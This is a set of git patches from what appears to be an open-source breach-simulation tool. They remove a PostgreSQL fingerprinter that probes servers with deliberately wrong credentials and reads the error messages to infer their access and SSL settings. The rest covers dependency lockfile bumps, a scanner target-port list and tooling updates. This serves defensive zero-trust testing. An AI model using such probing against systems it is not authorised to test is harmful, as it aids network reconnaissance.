"sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.15.0" }, "sqlitedict": { @@ -957,7 +957,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "platform_system == 'Windows'", + "markers": "python_version >= '3.6'", "version": "==0.0.9" }, "winsys-3.x": { @@ -972,7 +972,7 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], - "index": "pypi", + "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, "zc.lockfile": { From 3b32ef2f4a816d9fde049b6dbcda6c1655aeb454 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 22 Apr 2021 10:10:09 -0400 Subject: [PATCH 0276/1360] Remove PostgreSQL fingerprinter Issue #1077 --- .../common/common_consts/zero_trust_consts.py | 15 -- monkey/infection_monkey/Pipfile | 1 - monkey/infection_monkey/Pipfile.lock | 64 ++----- monkey/infection_monkey/config.py | 2 +- .../network/postgresql_finger.py | 142 --------------- .../definitions/finger_classes.py | 9 - .../cc/services/config_schema/internal.py | 1 - .../zero_trust_checks/data_endpoints.py | 22 --- .../network/test_postgresql_finger.py | 169 ------------------ 9 files changed, 13 insertions(+), 412 deletions(-) delete mode 100644 monkey/infection_monkey/network/postgresql_finger.py delete mode 100644 monkey/tests/infection_monkey/network/test_postgresql_finger.py diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index 6ff2ab20f35..6df648e0097 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -32,7 +32,6 @@ # Don't change order! The statuses are ordered by importance/severity. ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] -TEST_DATA_ENDPOINT_POSTGRESQL = "unencrypted_data_endpoint_postgresql" TEST_DATA_ENDPOINT_ELASTIC = "unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = "unencrypted_data_endpoint_http" TEST_MACHINE_EXPLOITED = "machine_exploited" @@ -58,7 +57,6 @@ TEST_MACHINE_EXPLOITED, TEST_DATA_ENDPOINT_HTTP, TEST_DATA_ENDPOINT_ELASTIC, - TEST_DATA_ENDPOINT_POSTGRESQL, TEST_TUNNELING, TEST_COMMUNICATE_AS_NEW_USER, TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES, @@ -197,19 +195,6 @@ PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_DATA_ENDPOINT_POSTGRESQL: { - TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to " "PostgreSQL servers.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey accessed PostgreSQL servers. Limit access to data by encrypting" - " it in in-transit.", - STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, " - "look for alerts that " - "indicate attempts to access them. ", - }, - PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, TEST_TUNNELING: { TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 5ab0096fad5..ee3d05fced7 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -14,7 +14,6 @@ netifaces = ">=0.10.9" odict = "==1.7.0" paramiko = ">=2.7.1" psutil = ">=5.7.0" -psycopg2-binary = "==2.8.6" pycryptodome = "==3.9.8" pyftpdlib = "==1.5.6" pymssql = "==2.1.5" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index e351c8bd5a0..bd7a3e514a4 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "e1f1176012139ef9cca4ca5e51e9b150729ae69c73f381e678fb9d0181318c64" + "sha256": "78392106c26ec104e3734ec0b69975330baa9ff7761d63e1091e2687bb149265" }, "pipfile-spec": 6, "requires": { @@ -61,19 +61,19 @@ }, "boto3": { "hashes": [ - "sha256:1e55df93aa47a84e2a12a639c7f145e16e6e9ef959542d69d5526d50d2e92692", - "sha256:eab42daaaf68cdad5b112d31dcb0684162098f6558ba7b64156be44f993525fa" + "sha256:5910c868c2cf0d30b6c9caed1d38a2b2c2c83e9713eadae0f43de4f42bfe863f", + "sha256:d0d1e8ca76a8e1b74f87a8324f97001d60bd8bbe6cca35a8e9e7b9abe5aa9ddb" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.17.54" + "version": "==1.17.55" }, "botocore": { "hashes": [ - "sha256:20a864fc6570ba11d52532c72c3ccabab5c71a9b4a9418601a313d56f1d2ce5b", - "sha256:37ec76ea2df8609540ba6cb0fe360ae1c589d2e1ee91eb642fd767823f3fcedd" + "sha256:5632c129e6c1c1a15e273fd3ec6f4431490e99ec61b6cff833538f456202e833", + "sha256:94a62f7f848b37757c3419193727e183bccdf5cb74167df30bafee5d8d649b7a" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.20.54" + "version": "==1.20.55" }, "certifi": { "hashes": [ @@ -544,47 +544,6 @@ "index": "pypi", "version": "==5.8.0" }, - "psycopg2-binary": { - "hashes": [ - "sha256:0deac2af1a587ae12836aa07970f5cb91964f05a7c6cdb69d8425ff4c15d4e2c", - "sha256:0e4dc3d5996760104746e6cfcdb519d9d2cd27c738296525d5867ea695774e67", - "sha256:11b9c0ebce097180129e422379b824ae21c8f2a6596b159c7659e2e5a00e1aa0", - "sha256:15978a1fbd225583dd8cdaf37e67ccc278b5abecb4caf6b2d6b8e2b948e953f6", - "sha256:1fabed9ea2acc4efe4671b92c669a213db744d2af8a9fc5d69a8e9bc14b7a9db", - "sha256:2dac98e85565d5688e8ab7bdea5446674a83a3945a8f416ad0110018d1501b94", - "sha256:42ec1035841b389e8cc3692277a0bd81cdfe0b65d575a2c8862cec7a80e62e52", - "sha256:6422f2ff0919fd720195f64ffd8f924c1395d30f9a495f31e2392c2efafb5056", - "sha256:6a32f3a4cb2f6e1a0b15215f448e8ce2da192fd4ff35084d80d5e39da683e79b", - "sha256:7312e931b90fe14f925729cde58022f5d034241918a5c4f9797cac62f6b3a9dd", - "sha256:7d92a09b788cbb1aec325af5fcba9fed7203897bbd9269d5691bb1e3bce29550", - "sha256:833709a5c66ca52f1d21d41865a637223b368c0ee76ea54ca5bad6f2526c7679", - "sha256:89705f45ce07b2dfa806ee84439ec67c5d9a0ef20154e0e475e2b2ed392a5b83", - "sha256:8cd0fb36c7412996859cb4606a35969dd01f4ea34d9812a141cd920c3b18be77", - "sha256:950bc22bb56ee6ff142a2cb9ee980b571dd0912b0334aa3fe0fe3788d860bea2", - "sha256:a0c50db33c32594305b0ef9abc0cb7db13de7621d2cadf8392a1d9b3c437ef77", - "sha256:a0eb43a07386c3f1f1ebb4dc7aafb13f67188eab896e7397aa1ee95a9c884eb2", - "sha256:aaa4213c862f0ef00022751161df35804127b78adf4a2755b9f991a507e425fd", - "sha256:ac0c682111fbf404525dfc0f18a8b5f11be52657d4f96e9fcb75daf4f3984859", - "sha256:ad20d2eb875aaa1ea6d0f2916949f5c08a19c74d05b16ce6ebf6d24f2c9f75d1", - "sha256:b4afc542c0ac0db720cf516dd20c0846f71c248d2b3d21013aa0d4ef9c71ca25", - "sha256:b8a3715b3c4e604bcc94c90a825cd7f5635417453b253499664f784fc4da0152", - "sha256:ba28584e6bca48c59eecbf7efb1576ca214b47f05194646b081717fa628dfddf", - "sha256:ba381aec3a5dc29634f20692349d73f2d21f17653bda1decf0b52b11d694541f", - "sha256:bd1be66dde2b82f80afb9459fc618216753f67109b859a361cf7def5c7968729", - "sha256:c2507d796fca339c8fb03216364cca68d87e037c1f774977c8fc377627d01c71", - "sha256:cec7e622ebc545dbb4564e483dd20e4e404da17ae07e06f3e780b2dacd5cee66", - "sha256:d14b140a4439d816e3b1229a4a525df917d6ea22a0771a2a78332273fd9528a4", - "sha256:d1b4ab59e02d9008efe10ceabd0b31e79519da6fb67f7d8e8977118832d0f449", - "sha256:d5227b229005a696cc67676e24c214740efd90b148de5733419ac9aaba3773da", - "sha256:e1f57aa70d3f7cc6947fd88636a481638263ba04a742b4a37dd25c373e41491a", - "sha256:e74a55f6bad0e7d3968399deb50f61f4db1926acf4a6d83beaaa7df986f48b1c", - "sha256:e82aba2188b9ba309fd8e271702bd0d0fc9148ae3150532bbb474f4590039ffb", - "sha256:ee69dad2c7155756ad114c02db06002f4cded41132cc51378e57aad79cc8e4f4", - "sha256:f5ab93a2cb2d8338b1674be43b442a7f544a0971da062a5da774ed40587f18f5" - ], - "index": "pypi", - "version": "==2.8.6" - }, "pyasn1": { "hashes": [ "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", @@ -831,10 +790,10 @@ }, "s3transfer": { "hashes": [ - "sha256:af1af6384bd7fb8208b06480f9be73d0295d965c4c073a5c95ea5b6661dccc18", - "sha256:f3dfd791cad2799403e3c8051810a7ca6ee1d2e630e5d2a8f9649d892bdb3db6" + "sha256:81b7b3516739b0cfbecaa9077a1baf783e7a790c0e49261fcc6ceda468765efa", + "sha256:b5130849df909773254099d085790456665f8d7e0032bbef6e3407f28adb1ad9" ], - "version": "==0.4.0" + "version": "==0.4.1" }, "scoutsuite": { "git": "git://github.com/guardicode/ScoutSuite", @@ -957,7 +916,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "python_version >= '3.6'", + "markers": "platform_system == 'Windows'", "version": "==0.0.9" }, "winsys-3.x": { @@ -972,6 +931,7 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index ffdea551eb1..349c12f0ddd 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -175,7 +175,7 @@ def as_dict(self): 8008, # HTTP alternate 7001, # Oracle Weblogic default server port ] - tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200, 5432] + tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds tcp_scan_interval = 0 # in milliseconds diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py deleted file mode 100644 index f19c128e8f3..00000000000 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ /dev/null @@ -1,142 +0,0 @@ -import logging - -import psycopg2 - -from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT -from infection_monkey.model import ID_STRING -from infection_monkey.network.HostFinger import HostFinger - -LOG = logging.getLogger(__name__) - - -class PostgreSQLFinger(HostFinger): - """ - Fingerprints PostgreSQL databases, only on port 5432 - """ - - # Class related consts - _SCANNED_SERVICE = "PostgreSQL" - POSTGRESQL_DEFAULT_PORT = 5432 - CREDS = {"username": ID_STRING, "password": ID_STRING} - CONNECTION_DETAILS = { - "ssl_conf": "SSL is configured on the PostgreSQL server.\n", - "ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n", - "all_ssl": "SSL connections can be made by all.\n", - "all_non_ssl": "Non-SSL connections can be made by all.\n", - "selected_ssl": "SSL connections can be made by selected hosts only OR " - "non-SSL usage is forced.\n", - "selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n", - "only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n", - } - RELEVANT_EX_SUBSTRINGS = { - "no_auth": "password authentication failed", - "no_entry": "entry for host", # "no pg_hba.conf entry for host" but filename may be diff - } - - def get_host_fingerprint(self, host): - try: - psycopg2.connect( - host=host.ip_addr, - port=self.POSTGRESQL_DEFAULT_PORT, - user=self.CREDS["username"], - password=self.CREDS["password"], - sslmode="prefer", - connect_timeout=MEDIUM_REQUEST_TIMEOUT, - ) # don't need to worry about DB name; creds are wrong, won't check - - # if it comes here, the creds worked - # this shouldn't happen since capital letters are not supported in postgres usernames - # perhaps the service is a honeypot - self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) - host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = ( - "The PostgreSQL server was unexpectedly accessible with the credentials - " - + f"user: '{self.CREDS['username']}' and password: '" - f"{self.CREDS['password']}'. Is this a honeypot?" - ) - return True - - except psycopg2.OperationalError as ex: - # try block will throw an OperationalError since the credentials are wrong, which we - # then analyze - try: - exception_string = str(ex) - - if not self._is_relevant_exception(exception_string): - return False - - # all's well; start analyzing errors - self.analyze_operational_error(host, exception_string) - return True - - except Exception as err: - LOG.debug("Error getting PostgreSQL fingerprint: %s", err) - - return False - - def _is_relevant_exception(self, exception_string): - if not any(substr in exception_string for substr in self.RELEVANT_EX_SUBSTRINGS.values()): - # OperationalError due to some other reason - irrelevant exception - return False - return True - - def analyze_operational_error(self, host, exception_string): - self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) - - exceptions = exception_string.split("\n") - - self.ssl_connection_details = [] - ssl_conf_on_server = self.is_ssl_configured(exceptions) - - if ssl_conf_on_server: # SSL configured - self.get_connection_details_ssl_configured(exceptions) - else: # SSL not configured - self.get_connection_details_ssl_not_configured(exceptions) - - host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = "".join( - self.ssl_connection_details - ) - - @staticmethod - def is_ssl_configured(exceptions): - # when trying to authenticate, it checks pg_hba.conf file: - # first, for a record where it can connect with SSL and second, without SSL - if len(exceptions) == 1: # SSL not configured on server so only checks for non-SSL record - return False - elif len(exceptions) == 2: # SSL configured so checks for both - return True - - def get_connection_details_ssl_configured(self, exceptions): - self.ssl_connection_details.append(self.CONNECTION_DETAILS["ssl_conf"]) - ssl_selected_comms_only = False - - # check exception message for SSL connection - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_ssl"]) - else: - self.ssl_connection_details.append(self.CONNECTION_DETAILS["selected_ssl"]) - ssl_selected_comms_only = True - - # check exception message for non-SSL connection - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): - self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"]) - else: - if ( - ssl_selected_comms_only - ): # if only selected SSL allowed and only selected non-SSL allowed - self.ssl_connection_details[-1] = self.CONNECTION_DETAILS["only_selected"] - else: - self.ssl_connection_details.append(self.CONNECTION_DETAILS["selected_non_ssl"]) - - def get_connection_details_ssl_not_configured(self, exceptions): - self.ssl_connection_details.append(self.CONNECTION_DETAILS["ssl_not_conf"]) - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"]) - else: - self.ssl_connection_details.append(self.CONNECTION_DETAILS["selected_non_ssl"]) - - @staticmethod - def found_entry_for_host_but_pwd_auth_failed(exception): - if PostgreSQLFinger.RELEVANT_EX_SUBSTRINGS["no_auth"] in exception: - return True # entry found in pg_hba.conf file but password authentication failed - return False # entry not found in pg_hba.conf file diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 01ebfe70c67..2a617e0112c 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -59,14 +59,5 @@ "info": "Checks if ElasticSearch is running and attempts to find it's " "version.", "attack_techniques": ["T1210"], }, - { - "type": "string", - "enum": ["PostgreSQLFinger"], - "title": "PostgreSQLFinger", - "safe": True, - "info": "Checks if PostgreSQL service is running and if " - "its communication is encrypted.", - "attack_techniques": ["T1210"], - }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index d03527b89c2..c42992d1b73 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -219,7 +219,6 @@ "MySQLFinger", "MSSQLFinger", "ElasticFinger", - "PostgreSQLFinger", ], } }, diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index d2634ae869e..9d790224af5 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -9,7 +9,6 @@ ) HTTP_SERVERS_SERVICES_NAMES = ["tcp-80"] -POSTGRESQL_SERVER_SERVICE_NAME = "PostgreSQL" def check_open_data_endpoints(telemetry_json): @@ -17,7 +16,6 @@ def check_open_data_endpoints(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) found_http_server_status = zero_trust_consts.STATUS_PASSED found_elastic_search_server = zero_trust_consts.STATUS_PASSED - found_postgresql_server = zero_trust_consts.STATUS_PASSED events = [ Event.create_event( @@ -66,20 +64,6 @@ def check_open_data_endpoints(telemetry_json): event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) ) - if service_name == POSTGRESQL_SERVER_SERVICE_NAME: - found_postgresql_server = zero_trust_consts.STATUS_FAILED - events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! " - "Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data), - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) - ) MonkeyZTFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, @@ -93,10 +77,4 @@ def check_open_data_endpoints(telemetry_json): events=events, ) - MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, - status=found_postgresql_server, - events=events, - ) - MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/tests/infection_monkey/network/test_postgresql_finger.py b/monkey/tests/infection_monkey/network/test_postgresql_finger.py deleted file mode 100644 index e7358d140fa..00000000000 --- a/monkey/tests/infection_monkey/network/test_postgresql_finger.py +++ /dev/null @@ -1,169 +0,0 @@ -import pytest - -from infection_monkey.network.postgresql_finger import PostgreSQLFinger - -IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string." - -_RELEVANT_EXCEPTION_STRING_PARTS = { - "pwd_auth_failed": 'FATAL: password authentication failed for user "root"', - "ssl_on_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' - 'user "random", database "postgres", SSL on', - "ssl_off_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' - 'user "random", database "postgres", SSL off', -} - -_RELEVANT_EXCEPTION_STRINGS = { - "pwd_auth_failed": _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], - "ssl_off_entry_not_found": _RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"], - "pwd_auth_failed_pwd_auth_failed": "\n".join( - [ - _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], - _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], - ] - ), - "pwd_auth_failed_ssl_off_entry_not_found": "\n".join( - [ - _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], - _RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"], - ] - ), - "ssl_on_entry_not_found_pwd_auth_failed": "\n".join( - [ - _RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"], - _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], - ] - ), - "ssl_on_entry_not_found_ssl_off_entry_not_found": "\n".join( - [ - _RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"], - _RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"], - ] - ), -} - -_RESULT_STRINGS = { - "ssl_conf": "SSL is configured on the PostgreSQL server.\n", - "ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n", - "all_ssl": "SSL connections can be made by all.\n", - "all_non_ssl": "Non-SSL connections can be made by all.\n", - "selected_ssl": "SSL connections can be made by selected hosts only OR " - "non-SSL usage is forced.\n", - "selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n", - "only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n", -} - -RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS = { - # SSL not configured, all non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"]: [ - _RESULT_STRINGS["ssl_not_conf"], - _RESULT_STRINGS["all_non_ssl"], - ], - # SSL not configured, selected non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"]: [ - _RESULT_STRINGS["ssl_not_conf"], - _RESULT_STRINGS["selected_non_ssl"], - ], - # all SSL allowed, all non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"]: [ - _RESULT_STRINGS["ssl_conf"], - _RESULT_STRINGS["all_ssl"], - _RESULT_STRINGS["all_non_ssl"], - ], - # all SSL allowed, selected non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"]: [ - _RESULT_STRINGS["ssl_conf"], - _RESULT_STRINGS["all_ssl"], - _RESULT_STRINGS["selected_non_ssl"], - ], - # selected SSL allowed, all non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"]: [ - _RESULT_STRINGS["ssl_conf"], - _RESULT_STRINGS["selected_ssl"], - _RESULT_STRINGS["all_non_ssl"], - ], - # selected SSL allowed, selected non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_ssl_off_entry_not_found"]: [ - _RESULT_STRINGS["ssl_conf"], - _RESULT_STRINGS["only_selected"], - ], -} - - -@pytest.fixture -def mock_PostgreSQLFinger(): - return PostgreSQLFinger() - - -class DummyHost: - def __init__(self): - self.services = {} - - -@pytest.fixture -def host(): - return DummyHost() - - -def test_irrelevant_exception(mock_PostgreSQLFinger): - assert mock_PostgreSQLFinger._is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False - - -def test_exception_ssl_not_configured_all_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"] - assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - - mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ - "communication_encryption_details" - ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) - - -def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"] - assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - - mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ - "communication_encryption_details" - ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) - - -def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"] - assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - - mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ - "communication_encryption_details" - ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) - - -def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"] - assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - - mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ - "communication_encryption_details" - ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) - - -def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"] - assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - - mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ - "communication_encryption_details" - ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) - - -def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_ssl_off_entry_not_found"] - assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - - mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ - "communication_encryption_details" - ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) From c3f31c0c78c05b3f2ebc0d3ca6dcfe133cecf2d3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 23 Apr 2021 10:48:11 +0300 Subject: [PATCH 0277/1360] pre-commit hooks update --- .pre-commit-config.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 4717c0f327b..5d4fc18d83a 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -16,11 +16,11 @@ repos: hooks: - id: black - repo: https://gitlab.com/pycqa/flake8 - rev: 3.9.0 + rev: 3.9.1 hooks: - id: flake8 - repo: https://github.com/pre-commit/pre-commit-hooks - rev: v2.3.0 + rev: v3.4.0 hooks: - id: check-added-large-files - id: check-case-conflict @@ -36,7 +36,7 @@ repos: args: ["monkey/monkey_island/cc/ui/src/", "--fix", "--max-warnings=0"] - repo: local hooks: - - id: pytest + - id: pytest name: pytest entry: bash -c "cd monkey && pytest" language: system From 8121f08aa96c403feb09a06aaa12d0c1291eb44f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Apr 2021 17:19:20 +0300 Subject: [PATCH 0278/1360] Refactored test_telems to exported_telems and moved them from the test folder, because they are generated in production --- .../cc/models/exported_telem.py} | 7 +++++-- .../resources/blackbox/utils/telem_store.py | 20 +++++++++---------- monkey/monkey_island/cc/resources/log.py | 2 +- monkey/monkey_island/cc/resources/monkey.py | 4 ++-- .../monkey_island/cc/resources/telemetry.py | 2 +- .../cc/services/infection_lifecycle.py | 2 +- 6 files changed, 20 insertions(+), 17 deletions(-) rename monkey/{tests/monkey_island/cc/models/test_telem.py => monkey_island/cc/models/exported_telem.py} (50%) diff --git a/monkey/tests/monkey_island/cc/models/test_telem.py b/monkey/monkey_island/cc/models/exported_telem.py similarity index 50% rename from monkey/tests/monkey_island/cc/models/test_telem.py rename to monkey/monkey_island/cc/models/exported_telem.py index 8dd1cb65855..6df2296fb89 100644 --- a/monkey/tests/monkey_island/cc/models/test_telem.py +++ b/monkey/monkey_island/cc/models/exported_telem.py @@ -1,10 +1,13 @@ """ -Define a Document Schema for the TestTelem document. +Define a Document Schema for the TelemForExport document. """ from mongoengine import DateTimeField, Document, StringField -class TestTelem(Document): +# This document describes exported telemetry. +# These telemetries are used to mock monkeys sending telemetries to the island. +# This way we can replicate island state without running monkeys. +class ExportedTelem(Document): # SCHEMA name = StringField(required=True) time = DateTimeField(required=True) diff --git a/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py index 574712cda0f..2130cef5ab1 100644 --- a/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py +++ b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py @@ -6,7 +6,7 @@ from flask import request -from monkey_island.cc.models.test_telem import TestTelem +from monkey_island.cc.models.exported_telem import ExportedTelem from monkey_island.cc.services.config import ConfigService TELEM_SAMPLE_DIR = "./telem_sample" @@ -20,7 +20,7 @@ class TestTelemStore: 